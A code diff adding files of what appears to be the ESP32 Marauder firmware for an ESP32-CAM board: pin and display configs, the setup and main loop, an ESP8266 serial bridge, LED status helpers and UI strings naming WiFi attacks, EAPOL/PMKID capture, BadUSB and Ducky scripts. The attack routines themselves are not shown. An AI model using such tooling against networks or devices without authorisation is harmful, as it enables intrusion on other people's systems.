+    //#define MENU_FONT &FreeMonoBold9pt7b
+    //#define MENU_FONT &FreeSans9pt7b
+    //#define MENU_FONT &FreeSansBold9pt7b
+    #define BUTTON_ARRAY_LEN 10
+    #define STATUS_BAR_WIDTH 16
+    #define LVGL_TICK_PERIOD 6
+    
+    #define FRAME_X 100
+    #define FRAME_Y 64
+    #define FRAME_W 120
+    #define FRAME_H 50
+    
+    // Red zone size
+    #define REDBUTTON_X FRAME_X
+    #define REDBUTTON_Y FRAME_Y
+    #define REDBUTTON_W (FRAME_W/2)
+    #define REDBUTTON_H FRAME_H
+    
+    // Green zone size
+    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+    #define GREENBUTTON_Y FRAME_Y
+    #define GREENBUTTON_W (FRAME_W/2)
+    #define GREENBUTTON_H FRAME_H
+    
+    #define STATUSBAR_COLOR 0x4A49
+    
+    #define KIT_LED_BUILTIN 13
+  #endif 
+
+  #ifdef MARAUDER_KIT
+    #define BANNER_TEXT_SIZE 2
+
+    #ifndef TFT_WIDTH
+      #define TFT_WIDTH 240
+    #endif
+
+    #ifndef TFT_HEIGHT
+      #define TFT_HEIGHT 320
+    #endif
+
+    #define TFT_DIY
+    #define KIT
+    
+    #define SCREEN_WIDTH TFT_WIDTH
+    #define SCREEN_HEIGHT TFT_HEIGHT
+    #define HEIGHT_1 TFT_WIDTH
+    #define WIDTH_1 TFT_HEIGHT
+    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+    #define YMAX 320 // Bottom of screen area
+    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+    //#define MENU_FONT NULL
+    #define MENU_FONT &FreeMono9pt7b // Winner
+    //#define MENU_FONT &FreeMonoBold9pt7b
+    //#define MENU_FONT &FreeSans9pt7b
+    //#define MENU_FONT &FreeSansBold9pt7b
+    #define BUTTON_ARRAY_LEN 10
+    #define STATUS_BAR_WIDTH 16
+    #define LVGL_TICK_PERIOD 6
+    
+    #define FRAME_X 100
+    #define FRAME_Y 64
+    #define FRAME_W 120
+    #define FRAME_H 50
+    
+    // Red zone size
+    #define REDBUTTON_X FRAME_X
+    #define REDBUTTON_Y FRAME_Y
+    #define REDBUTTON_W (FRAME_W/2)
+    #define REDBUTTON_H FRAME_H
+    
+    // Green zone size
+    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+    #define GREENBUTTON_Y FRAME_Y
+    #define GREENBUTTON_W (FRAME_W/2)
+    #define GREENBUTTON_H FRAME_H
+    
+    #define STATUSBAR_COLOR 0x4A49
+    
+    #define KIT_LED_BUILTIN 13
+  #endif
+  
+  #ifdef MARAUDER_MINI
+    #define TFT_MISO 19
+    #define TFT_MOSI 23
+    #define TFT_SCLK 18
+    #define TFT_CS 27
+    #define TFT_DC 26
+    #define TFT_RST 5
+    #define TFT_BL 32
+    #define TOUCH_CS 21
+    #define SD_CS 4
+
+    #define SCREEN_BUFFER
+
+    #define MAX_SCREEN_BUFFER 9
+
+    #define BANNER_TEXT_SIZE 1
+
+    #ifndef TFT_WIDTH
+      #define TFT_WIDTH 128
+    #endif
+
+    #ifndef TFT_HEIGHT
+      #define TFT_HEIGHT 128
+    #endif
+
+    #define CHAR_WIDTH 6
+    #define SCREEN_WIDTH TFT_WIDTH // Originally 240
+    #define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
+    #define HEIGHT_1 TFT_WIDTH
+    #define WIDTH_1 TFT_WIDTH
+    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+    #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
+    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+    #define YMAX TFT_HEIGHT // Bottom of screen area
+    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+    //#define MENU_FONT NULL
+    #define MENU_FONT &FreeMono9pt7b // Winner
+    //#define MENU_FONT &FreeMonoBold9pt7b
+    //#define MENU_FONT &FreeSans9pt7b
+    //#define MENU_FONT &FreeSansBold9pt7b
+    #define BUTTON_ARRAY_LEN 10
+    #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
+    #define LVGL_TICK_PERIOD 6
+    
+    #define FRAME_X 100
+    #define FRAME_Y 64
+    #define FRAME_W 120
+    #define FRAME_H 50
+    
+    // Red zone size
+    #define REDBUTTON_X FRAME_X
+    #define REDBUTTON_Y FRAME_Y
+    #define REDBUTTON_W (FRAME_W/2)
+    #define REDBUTTON_H FRAME_H
+    
+    // Green zone size
+    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+    #define GREENBUTTON_Y FRAME_Y
+    #define GREENBUTTON_W (FRAME_W/2)
+    #define GREENBUTTON_H FRAME_H
+    
+    #define STATUSBAR_COLOR 0x4A49
+  #endif
+  //// END DISPLAY DEFINITIONS
+
+  //// MENU DEFINITIONS
+  #ifdef MARAUDER_V4
+    #define BANNER_TIME 100
+    
+    #define COMMAND_PREFIX "!"
+    
+    // Keypad start position, key sizes and spacing
+    #define KEY_X 120 // Centre of key
+    #define KEY_Y 50
+    #define KEY_W 240 // Width and height
+    #define KEY_H 22
+    #define KEY_SPACING_X 0 // X and Y gap
+    #define KEY_SPACING_Y 1
+    #define KEY_TEXTSIZE 1   // Font size multiplier
+    #define ICON_W 22
+    #define ICON_H 22
+    #define BUTTON_PADDING 22
+    //#define BUTTON_ARRAY_LEN 5
+  #endif
+
+  #ifdef MARAUDER_V6
+    #define BANNER_TIME 100
+    
+    #define COMMAND_PREFIX "!"
+    
+    // Keypad start position, key sizes and spacing
+    #define KEY_X 120 // Centre of key
+    #define KEY_Y 50
+    #define KEY_W 240 // Width and height
+    #define KEY_H 22
+    #define KEY_SPACING_X 0 // X and Y gap
+    #define KEY_SPACING_Y 1
+    #define KEY_TEXTSIZE 1   // Font size multiplier
+    #define ICON_W 22
+    #define ICON_H 22
+    #define BUTTON_PADDING 22
+    //#define BUTTON_ARRAY_LEN 5
+  #endif
+
+  #ifdef MARAUDER_KIT
+    #define BANNER_TIME 100
+    
+    #define COMMAND_PREFIX "!"
+    
+    // Keypad start position, key sizes and spacing
+    #define KEY_X 120 // Centre of key
+    #define KEY_Y 50
+    #define KEY_W 240 // Width and height
+    #define KEY_H 22
+    #define KEY_SPACING_X 0 // X and Y gap
+    #define KEY_SPACING_Y 1
+    #define KEY_TEXTSIZE 1   // Font size multiplier
+    #define ICON_W 22
+    #define ICON_H 22
+    #define BUTTON_PADDING 22
+    //#define BUTTON_ARRAY_LEN 5
+  #endif
+  
+  #ifdef MARAUDER_MINI
+    #define BANNER_TIME 50
+    
+    #define COMMAND_PREFIX "!"
+    
+    // Keypad start position, key sizes and spacing
+    #define KEY_X (TFT_WIDTH/2) // Centre of key
+    #define KEY_Y (TFT_HEIGHT/4.5)
+    #define KEY_W TFT_WIDTH // Width and height
+    #define KEY_H (TFT_HEIGHT/12.8)
+    #define KEY_SPACING_X 0 // X and Y gap
+    #define KEY_SPACING_Y 1
+    #define KEY_TEXTSIZE 1   // Font size multiplier
+    #define ICON_W 22
+    #define ICON_H 22
+    #define BUTTON_PADDING 10
+  #endif
+  //// END MENU DEFINITIONS
+
+  //// SD DEFINITIONS
+  #ifdef MARAUDER_V4
+    #define SD_CS 12
+  #endif
+
+  #ifdef MARAUDER_V6
+    #define SD_CS 12
+  #endif
+
+  #ifdef MARAUDER_KIT
+    #define SD_CS 12
+  #endif
+
+  #ifdef MARAUDER_MINI
+    #define SD_CS 4
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    #define SD_CS 10
+  #endif
+
+  #ifdef ESP32_LDDB
+    #define SD_CS 4
+  #endif
+
+  #ifdef MARAUDER_DEV_BOARD_PRO
+    #define SD_CS 4
+  #endif
+  //// END SD DEFINITIONS
+
+  //// SCREEN STUFF
+  #ifdef MARAUDER_MINI
+    #define HAS_SCREEN
+    #define HAS_BT
+  #endif
+
+  #ifdef MARAUDER_V4
+    #define HAS_SCREEN
+    #define HAS_BT
+  #endif
+
+  #ifdef MARAUDER_V6
+    #define HAS_SCREEN
+    #define HAS_BT
+  #endif
+
+  #ifdef MARAUDER_KIT
+    #define HAS_SCREEN
+    #define HAS_BT
+  #endif
+
+  #ifdef GENERIC_ESP32
+    #define HAS_BT
+  #endif
+
+  #ifndef HAS_SCREEN
+    #define TFT_WHITE 0
+    #define TFT_CYAN 0
+    #define TFT_BLUE 0
+    #define TFT_RED 0
+    #define TFT_GREEN 0
+    #define TFT_GREY 0
+    #define TFT_GRAY 0
+    #define TFT_MAGENTA 0
+    #define TFT_VIOLET 0
+    #define TFT_ORANGE 0
+    #define TFT_YELLOW 0
+    #define STANDARD_FONT_CHAR_LIMIT 40
+    #define FLASH_BUTTON -1
+
+    #include <FS.h>
+    #include <functional>
+    #include <LinkedList.h>
+    #include "SPIFFS.h"
+    #include "Assets.h"
+  #endif
+  //// END SCREEN STUFF
+
+  //// NEOPIXEL STUFF  
+  #if defined(ESP32_LDDB)
+    #define PIN 17
+  #elif defined(MARAUDER_DEV_BOARD_PRO)
+    #define PIN 16
+  #else
+    #define PIN 25
+  #endif
+  
+
+#endif

BIN
esp32cam_marauder/data/marauder3L.jpg


BIN
esp32cam_marauder/data/marauder3L1.jpg


BIN
esp32cam_marauder/data/marauder_mini.jpg


+ 386 - 0
esp32cam_marauder/esp32cam_marauder.ino

@@ -0,0 +1,386 @@
+/* FLASH SETTINGS
+Board: LOLIN D32
+Flash Frequency: 80MHz
+Partition Scheme: Minimal SPIFFS
+https://www.online-utility.org/image/convert/to/XBM
+*/
+
+#include "configs.h"
+
+#ifndef HAS_SCREEN
+  #define MenuFunctions_h
+  #define Display_h
+#endif
+
+#include <WiFi.h>
+#include <Wire.h>
+#include "esp_wifi.h"
+#include "esp_wifi_types.h"
+#include <stdio.h>
+#include "freertos/FreeRTOS.h"
+#include "freertos/task.h"
+#include "esp_system.h"
+#include <Arduino.h>
+
+#include "FS.h"                // SD Card ESP32
+#include "SD_MMC.h"            // SD Card ESP32
+#include "esp_camera.h"
+#include "soc/soc.h"           // Disable brownout problems
+#include "soc/rtc_cntl_reg.h"  // Disable brownout problems
+#include "driver/rtc_io.h"
+
+// Pin definition for CAMERA_MODEL_AI_THINKER
+#define PWDN_GPIO_NUM     32
+#define RESET_GPIO_NUM    -1
+#define XCLK_GPIO_NUM      0
+#define SIOD_GPIO_NUM     26
+#define SIOC_GPIO_NUM     27
+
+#define Y9_GPIO_NUM       35
+#define Y8_GPIO_NUM       34
+#define Y7_GPIO_NUM       39
+#define Y6_GPIO_NUM       36
+#define Y5_GPIO_NUM       21
+#define Y4_GPIO_NUM       19
+#define Y3_GPIO_NUM       18
+#define Y2_GPIO_NUM        5
+#define VSYNC_GPIO_NUM    25
+#define HREF_GPIO_NUM     23
+#define PCLK_GPIO_NUM     22
+
+bool camera_initialized = false;
+#include "Assets.h"
+#include "WiFiScan.h"
+#include "SDInterface.h"
+#include "Web.h"
+#include "Buffer.h"
+#include "BatteryInterface.h"
+#include "TemperatureInterface.h"
+#include "LedInterface.h"
+#include "esp_interface.h"
+#include "settings.h"
+#include "CommandLine.h"
+#include "lang_var.h"
+#include "flipperLED.h"
+
+#ifdef HAS_SCREEN
+  #include "Display.h"
+  #include "MenuFunctions.h"
+  #include "a32u4_interface.h"
+#endif
+
+#ifdef MARAUDER_MINI
+  #include <SwitchLib.h>
+  SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
+  SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
+  SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
+  SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
+  SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
+#endif
+
+WiFiScan wifi_scan_obj;
+SDInterface sd_obj;
+Web web_obj;
+Buffer buffer_obj;
+BatteryInterface battery_obj;
+TemperatureInterface temp_obj;
+LedInterface led_obj;
+EspInterface esp_obj;
+Settings settings_obj;
+CommandLine cli_obj;
+flipperLED flipper_led;
+
+#ifdef HAS_SCREEN
+  Display display_obj;
+  MenuFunctions menu_function_obj;
+  A32u4Interface a32u4_obj;
+#endif
+
+const String PROGMEM version_number = MARAUDER_VERSION;
+
+Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
+
+uint32_t currentTime  = 0;
+
+
+void backlightOn() {
+  #ifdef HAS_SCREEN
+    #ifdef MARAUDER_MINI
+      digitalWrite(TFT_BL, LOW);
+    #endif
+  
+    #ifndef MARAUDER_MINI
+      digitalWrite(TFT_BL, HIGH);
+    #endif
+  #endif
+}
+
+void backlightOff() {
+  #ifdef HAS_SCREEN
+    #ifdef MARAUDER_MINI
+      digitalWrite(TFT_BL, HIGH);
+    #endif
+  
+    #ifndef MARAUDER_MINI
+      digitalWrite(TFT_BL, LOW);
+    #endif
+  #endif
+}
+
+
+void setup()
+{
+  //pinMode(FLASH_BUTTON, INPUT);
+
+  #ifdef HAS_SCREEN
+    pinMode(TFT_BL, OUTPUT);
+  #endif
+  
+  backlightOff();
+#if BATTERY_ANALOG_ON == 1
+  pinMode(BATTERY_PIN, OUTPUT);
+  pinMode(CHARGING_PIN, INPUT);
+#endif
+  
+  // Preset SPI CS pins to avoid bus conflicts
+  #ifdef HAS_SCREEN
+    digitalWrite(TFT_CS, HIGH);
+  #endif
+
+  /*pinMode(SD_CS, OUTPUT);
+
+  delay(10);
+  
+  digitalWrite(SD_CS, HIGH);
+
+  delay(10);*/
+
+  Serial.begin(230400);
+
+  unsigned long waitForStreamMode = millis() + 1000;
+
+  while (waitForStreamMode > millis())
+  {
+    if (Serial.available()) // if we receive anything, just switch to stream mode
+    {
+      cam_stream_setup();
+      for (;;)
+        cam_stream_loop();
+    }
+  }
+  //Serial.begin(115200);
+
+  //Serial.println("\n\nHello, World!\n");
+
+  Serial.println("ESP-IDF version is: " + String(esp_get_idf_version()));
+
+  //#ifdef HAS_SCREEN
+  //  Serial.println("Has Screen");
+  //#else
+  //  Serial.println("Does not have screen");
+  //#endif
+
+  #ifdef HAS_SCREEN
+    display_obj.RunSetup();
+    display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
+  #endif
+
+  backlightOff();
+
+  // Draw the title screen
+  #ifdef HAS_SCREEN
+    display_obj.drawJpeg("/marauder3L.jpg", 0 , 0);     // 240 x 320 image
+  #endif
+
+  #ifdef HAS_SCREEN
+    //showCenterText(version_number, 250);
+    #ifndef MARAUDER_MINI
+      display_obj.tft.drawCentreString(display_obj.version_number, 120, 250, 2);
+    #endif
+  
+    #ifdef MARAUDER_MINI
+      display_obj.tft.drawCentreString(display_obj.version_number, TFT_WIDTH/2, TFT_HEIGHT, 1);
+    #endif
+  #endif
+
+  backlightOn(); // Need this
+
+  #ifdef HAS_SCREEN
+    delay(2000);
+
+    display_obj.clearScreen();
+  
+    display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+  
+    display_obj.tft.println(text_table0[0]);
+  
+    delay(2000);
+  
+    display_obj.tft.println("Marauder " + display_obj.version_number + "\n");
+  
+    display_obj.tft.println(text_table0[1]);
+  #endif
+
+  //Serial.println("Internal Temp: " + (String)((temprature_sens_read() - 32) / 1.8));
+
+  settings_obj.begin();
+
+  #ifdef MARAUDER_FLIPPER
+    flipper_led.RunSetup();
+  #endif
+
+  //Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting<uint8_t>("Channel"));
+  //if (settings_obj.loadSetting<bool>( "Force PMKID"))
+  //  Serial.println("This is a test Force PMKID: true");
+  //else
+  //  Serial.println("This is a test Force PMKID: false");
+
+  wifi_scan_obj.RunSetup();
+
+  //Serial.println(wifi_scan_obj.freeRAM());
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(F(text_table0[2]));
+  #endif
+
+  // Do some SD stuff
+  if(sd_obj.initSD()) {
+    //Serial.println(F("SD Card supported"));
+    #ifdef HAS_SCREEN
+      display_obj.tft.println(F(text_table0[3]));
+    #endif
+  }
+  else {
+    Serial.println(F("SD Card NOT Supported"));
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
+      display_obj.tft.println(F(text_table0[4]));
+      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+    #endif
+  }
+
+  battery_obj.RunSetup();
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(F(text_table0[5]));
+  #endif
+
+  // Temperature stuff
+  #ifndef MARAUDER_FLIPPER
+    temp_obj.RunSetup();
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(F(text_table0[6]));
+  #endif
+
+  #ifndef MARAUDER_FLIPPER
+    battery_obj.battery_level = battery_obj.getBatteryLevel();
+  
+//    if (battery_obj.i2c_supported) {
+//      Serial.println(F("IP5306 I2C Supported: true"));
+//    }
+//    else
+//      Serial.println(F("IP5306 I2C Supported: false"));
+  #endif
+
+  // Do some LED stuff
+  #ifndef MARAUDER_FLIPPER
+    led_obj.RunSetup();
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(F(text_table0[7]));
+
+    delay(500);
+  #endif
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println(F(text_table0[8]));
+  
+    display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
+  
+    delay(2000);
+  #endif
+
+  #ifdef HAS_SCREEN
+    menu_function_obj.RunSetup();
+  #endif
+
+  //Serial.println(F("\n\n--------------------------------\n"));
+  //Serial.println(F("         ESP32 Marauder      \n"));
+  //Serial.println("            " + version_number + "\n");
+  //Serial.println(F("       By: justcallmekoko\n"));
+  //Serial.println(F("--------------------------------\n\n"));
+  
+  Serial.println("CLI Ready");
+  cli_obj.RunSetup();
+}
+
+
+void loop()
+{
+  currentTime = millis();
+  bool mini = false;
+
+  #ifdef MARAUDER_MINI
+    mini = true;
+  #endif
+
+  // Update all of our objects
+  #ifdef HAS_SCREEN
+    bool do_draw = display_obj.draw_tft;
+  #else
+    bool do_draw = false;
+  #endif
+  
+  if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
+  {
+    cli_obj.main(currentTime);
+    #ifdef HAS_SCREEN
+      display_obj.main(wifi_scan_obj.currentScanMode);
+    #endif
+    wifi_scan_obj.main(currentTime);
+    sd_obj.main();
+    #ifndef MARAUDER_FLIPPER
+      battery_obj.main(currentTime);
+      temp_obj.main(currentTime);
+    #endif
+    settings_obj.main(currentTime);
+    if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
+        (mini)) {
+      #ifdef HAS_SCREEN
+        menu_function_obj.main(currentTime);
+      #endif
+      #ifndef MARAUDER_FLIPPER
+        led_obj.main(currentTime);
+      #endif
+      //cli_obj.main(currentTime);
+    }
+      if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
+        web_obj.main();
+    #ifdef HAS_SCREEN
+      delay(1);
+    #else
+      delay(50);
+    #endif
+  }
+  #ifdef HAS_SCREEN
+    else if ((display_obj.draw_tft) &&
+             (wifi_scan_obj.currentScanMode != OTA_UPDATE))
+    {
+      display_obj.drawStylus();
+    }
+  #endif
+  else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
+    #ifdef HAS_SCREEN
+      display_obj.main(wifi_scan_obj.currentScanMode);
+      menu_function_obj.main(currentTime);
+    #endif
+    #ifndef MARAUDER_FLIPPER
+      led_obj.main(currentTime);
+    #endif
+    //cli_obj.main(currentTime);
+    delay(1);
+  }
+}

+ 135 - 0
esp32cam_marauder/esp_interface.cpp

@@ -0,0 +1,135 @@
+#include "esp_interface.h"
+
+HardwareSerial MySerial(1);
+
+void EspInterface::begin() {
+  pinMode(ESP_RST, OUTPUT);
+  pinMode(ESP_ZERO, OUTPUT);
+
+  delay(100);
+
+  digitalWrite(ESP_ZERO, HIGH);
+
+  Serial.println("Checking for ESP8266...");
+
+  MySerial.begin(BAUD, SERIAL_8N1, 27, 26);
+
+  delay(100);
+
+  #ifdef HAS_SCREEN
+    display_obj.tft.println("Checking for ESP8266...");
+  #endif
+
+  this->bootRunMode();
+
+  delay(500);
+
+  while (MySerial.available())
+    MySerial.read();
+
+  MySerial.write("PING");
+
+  delay(2000);
+
+  String display_string = "";
+
+  while (MySerial.available()) {
+    display_string.concat((char)MySerial.read());
+  }
+
+  display_string.trim();
+
+  Serial.println("\nDisplay string: " + (String)display_string);
+  
+  if (display_string == "ESP8266 Pong") {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+      display_obj.tft.println("ESP8266 Found!");
+      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+    #endif
+    Serial.println("ESP8266 Found!");
+    this->supported = true;
+  }
+  else {
+    #ifdef HAS_SCREEN
+      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
+      display_obj.tft.println("ESP8266 Not Found");
+      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
+    #endif
+  }
+
+  this->initTime = millis();
+}
+
+void EspInterface::RunUpdate() {
+  this->bootProgramMode();
+  #ifdef HAS_SCREEN
+    display_obj.tft.setTextWrap(true);
+    display_obj.tft.setFreeFont(NULL);
+    display_obj.tft.setCursor(0, 100);
+    display_obj.tft.setTextSize(1);
+    display_obj.tft.setTextColor(TFT_GREEN);
+  
+    display_obj.tft.println("Waiting for serial data...");
+  
+    display_obj.tft.setTextColor(TFT_WHITE);
+  #endif
+}
+
+void EspInterface::bootProgramMode() {
+  Serial.println("[!] Setting ESP12 in program mode...");
+  digitalWrite(ESP_ZERO, LOW);
+  delay(100);
+  digitalWrite(ESP_RST, LOW);
+  delay(100);
+  digitalWrite(ESP_RST, HIGH);
+  delay(100);
+  digitalWrite(ESP_ZERO, HIGH);
+  Serial.println("[!] Complete");
+  Serial.end();
+  Serial.begin(57600);
+}
+
+void EspInterface::bootRunMode() {
+  Serial.end();
+  Serial.begin(115200);
+  Serial.println("[!] Setting ESP12 in run mode...");
+  digitalWrite(ESP_ZERO, HIGH);
+  delay(100);
+  digitalWrite(ESP_RST, LOW);
+  delay(100);
+  digitalWrite(ESP_RST, HIGH);
+  delay(100);
+  digitalWrite(ESP_ZERO, HIGH);
+  Serial.println("[!] Complete");
+}
+
+void EspInterface::program() {
+  if (MySerial.available()) {
+    Serial.write((uint8_t)MySerial.read());
+  }
+
+  if (Serial.available()) {
+    #ifdef HAS_SCREEN
+      display_obj.tft.print(".");
+    #endif
+    while (Serial.available()) {
+      MySerial.write((uint8_t)Serial.read());
+    }
+  }
+}
+
+void EspInterface::main(uint32_t current_time) {
+  if (current_time - this->initTime >= 1000) {
+    this->initTime = millis();
+    //MySerial.write("PING");
+  }
+  
+  while (MySerial.available()) {
+    Serial.print((char)MySerial.read());
+  }
+
+  if (Serial.available()) {
+    MySerial.write((uint8_t)Serial.read());
+  }
+}

+ 35 - 0
esp32cam_marauder/esp_interface.h

@@ -0,0 +1,35 @@
+#ifndef esp_interface_h
+#define esp_interface_h
+
+#include "configs.h"
+
+#ifdef HAS_SCREEN
+  #include "Display.h"
+#endif
+
+#include <HardwareSerial.h>
+
+#define ESP_RST  14
+#define ESP_ZERO 13
+#define BAUD     115200
+
+#ifdef HAS_SCREEN
+  extern Display display_obj;
+#endif
+
+class EspInterface {
+  public:
+    bool supported = false;
+
+    uint32_t initTime;
+
+    void RunUpdate();
+    void bootProgramMode();
+    void bootRunMode();
+    void begin();
+
+    void program();
+    void main(uint32_t current_time);
+};
+
+#endif

+ 70 - 0
esp32cam_marauder/flipperLED.cpp

@@ -0,0 +1,70 @@
+#include "flipperLED.h"
+
+void flipperLED::RunSetup() {
+#ifdef DISABLE_RGB_LED
+  return;
+#endif
+
+  pinMode(B_PIN, OUTPUT);
+  pinMode(G_PIN, OUTPUT);
+  pinMode(R_PIN, OUTPUT);
+
+  if (!settings_obj.loadSetting<bool>("EnableLED")) {
+    digitalWrite(B_PIN, HIGH);
+    digitalWrite(G_PIN, HIGH);
+    digitalWrite(R_PIN, HIGH);
+    return;
+  }
+    
+  delay(50);
+
+  digitalWrite(B_PIN, LOW);
+  delay(500);
+  digitalWrite(B_PIN, HIGH);
+  digitalWrite(G_PIN, LOW);
+  delay(500);
+  digitalWrite(G_PIN, HIGH);
+  digitalWrite(R_PIN, LOW);
+  delay(500);
+  digitalWrite(R_PIN, HIGH);
+}
+
+void flipperLED::attackLED() {
+#ifdef DISABLE_RGB_LED
+  return;
+#endif
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(B_PIN, HIGH);
+  digitalWrite(G_PIN, HIGH);
+  digitalWrite(R_PIN, HIGH); 
+  delay(10);
+  digitalWrite(R_PIN, LOW);
+}
+
+void flipperLED::sniffLED() {
+#ifdef DISABLE_RGB_LED
+  return;
+#endif
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(B_PIN, HIGH);
+  digitalWrite(G_PIN, HIGH);
+  digitalWrite(R_PIN, HIGH);
+  delay(10);
+  digitalWrite(B_PIN, LOW);
+}
+
+void flipperLED::offLED() {
+#ifdef DISABLE_RGB_LED
+  return;
+#endif
+  if (!settings_obj.loadSetting<bool>("EnableLED"))
+    return;
+    
+  digitalWrite(B_PIN, HIGH);
+  digitalWrite(G_PIN, HIGH);
+  digitalWrite(R_PIN, HIGH);
+}

+ 24 - 0
esp32cam_marauder/flipperLED.h

@@ -0,0 +1,24 @@
+#ifndef flipperLED_h
+#define flipperLED_h
+
+#include "configs.h"
+#include "settings.h"
+
+#include <Arduino.h>
+
+#define B_PIN 4
+#define G_PIN 5
+#define R_PIN 6
+
+extern Settings settings_obj;
+
+class flipperLED {
+
+  public:
+    void RunSetup();
+    void attackLED();
+    void sniffLED();
+    void offLED();
+};
+
+#endif

+ 188 - 0
esp32cam_marauder/lang_var.h

@@ -0,0 +1,188 @@
+#ifndef lang_var_h
+#define lang_var_h
+
+
+#include "configs.h"
+
+//Starting window texts
+PROGMEM const char text0_0[] = "Giving room for HardwareSerial...";
+PROGMEM const char text0_1[] = "Started Serial";
+PROGMEM const char text0_2[] = "Checked RAM";
+PROGMEM const char text0_3[] = "Initialized SD Card";
+PROGMEM const char text0_4[] = "Failed to Initialize SD Card";
+PROGMEM const char text0_5[] = "Checked battery configuration";
+PROGMEM const char text0_6[] = "Initialized temperature interface";
+PROGMEM const char text0_7[] = "Initialized LED Interface";
+PROGMEM const char text0_8[] = "Starting...";
+
+//Single library (action) texts/Often used
+PROGMEM const char text00[] = "Battery Level changed: ";
+PROGMEM const char text01[] = "file closed";
+PROGMEM const char text02[] = "Failed to open file '";
+PROGMEM const char text03[] = "ON";
+PROGMEM const char text04[] = "OFF";
+PROGMEM const char text05[] = "Load";
+PROGMEM const char text06[] = "Save As";
+PROGMEM const char text07[] = "Exit";
+PROGMEM const char text08[] = "Settings";
+PROGMEM const char text09[] = "Back";
+PROGMEM const char text10[] = "Channel:";
+PROGMEM const char text11[] = "Touch screen to exit";
+PROGMEM const char text12[] = "Cancel";
+PROGMEM const char text13[] = "Save";
+PROGMEM const char text14[] = "Yes";
+PROGMEM const char text15[] = "Opening /update.bin...";
+PROGMEM const char text16[] = "Close";
+PROGMEM const char text17[] = "FAIL";
+PROGMEM const char text18[] = "packets/sec: ";
+
+
+//Menufunctions.cpp texts
+PROGMEM const char text1_0[] = "SSID List";
+PROGMEM const char text1_1[] = "Add SSIDs";
+PROGMEM const char text1_2[] = "SSID: ";
+PROGMEM const char text1_3[] = "Password:";
+PROGMEM const char text1_4[] = "Setting disabled";
+PROGMEM const char text1_5[] = "Setting on";
+PROGMEM const char text1_6[] = "ESP32 Marauder ";
+PROGMEM const char text1_7[] = "WiFi ";
+PROGMEM const char text1_8[] = "Bad USB ";
+PROGMEM const char text1_9[] = "Device ";
+PROGMEM const char text1_10[] = "General Apps ";
+PROGMEM const char text1_11[] = "Updating... ";
+PROGMEM const char text1_12[] = "Select Method ";
+PROGMEM const char text1_13[] = "Confirm Update ";
+PROGMEM const char text1_14[] = "ESP8266 Update ";
+PROGMEM const char text1_15[] = "Update Firmware ";
+PROGMEM const char text1_16[] = "Language ";
+PROGMEM const char text1_17[] = "Device Info ";
+PROGMEM const char text1_18[] = "Settings ";
+PROGMEM const char text1_19[] = "Bluetooth ";
+PROGMEM const char text1_20[] = "WiFi Sniffers ";
+PROGMEM const char text1_21[] = "WiFi Attacks ";
+PROGMEM const char text1_22[] = "WiFi General ";
+PROGMEM const char text1_23[] = "Bluetooth Sniffers ";
+PROGMEM const char text1_24[] = "Bluetooth General ";
+PROGMEM const char text1_25[] = "Shutdown WiFi ";
+PROGMEM const char text1_26[] = "Shutdown BLE ";
+PROGMEM const char text1_27[] = "Generate SSIDs ";
+PROGMEM const char text1_28[] = "Clear SSIDs ";
+PROGMEM const char text1_29[] = "Clear APs ";
+PROGMEM const char text1_30[] = "Reboot";
+PROGMEM const char text1_31[] = "Sniffers";
+PROGMEM const char text1_32[] = "Attacks";
+PROGMEM const char text1_33[] = "General";
+PROGMEM const char text1_34[] = "Bluetooth Sniffer";
+PROGMEM const char text1_35[] = "Detect Card Skimmers";
+PROGMEM const char text1_36[] = "Test BadUSB";
+PROGMEM const char text1_37[] = "Run Ducky Script";
